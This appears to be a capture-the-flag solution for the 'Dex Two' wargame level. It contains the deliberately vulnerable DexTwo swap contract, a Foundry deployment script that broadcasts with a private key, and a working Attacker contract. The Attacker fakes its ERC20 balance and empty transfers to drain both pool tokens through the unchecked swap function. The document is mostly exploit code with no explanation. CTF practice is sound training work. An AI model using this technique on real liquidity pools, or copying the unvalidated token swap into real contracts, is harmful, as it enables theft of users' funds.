Dex Two

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";

import {Attacker,DexTwo,IERC20} from '../src/23.sol';

contract POC is Script {

    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        address addr = vm.envAddress("INSTANCE_23");

        vm.startBroadcast(deployerPrivateKey);

        Attacker attacker = new Attacker(addr);

        DexTwo dex2 = DexTwo(addr);
        IERC20 token1 = IERC20(dex2.token1());
        IERC20 token2 = IERC20(dex2.token2());

        console.log('token1 %s', token1.balanceOf(address(dex2)));
        console.log('token2 %s', token2.balanceOf(address(dex2)));

        attacker.attack();

        console.log('token1 %s', token1.balanceOf(address(dex2)));
        console.log('token2 %s', token2.balanceOf(address(dex2)));

        vm.stopBroadcast();

    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface DexTwo {
  function swap(address from, address to, uint amount) external;
  function approve(address spender, uint amount) external;
  function token1() external returns(address);
  function token2() external returns(address);
}

interface IERC20 {
  function balanceOf(address) external returns(uint);
  function transferFrom(
    address from,
    address to,
    uint256 amount
  ) external returns (bool);
}

contract Attacker is IERC20 {
  address public dexTwo;

  constructor(address _dexTwo) {
    dexTwo = _dexTwo;
  }

  function balanceOf(address) public pure returns(uint) {
      return (100);
  }

  function transferFrom(
    address from,
    address to,
    uint256 amount
  ) public virtual returns (bool) {}

  function attack() public {
    DexTwo d = DexTwo(dexTwo);
    d.swap(address(this), d.token1(), 100);
    d.swap(address(this), d.token2(), 100);
  }
}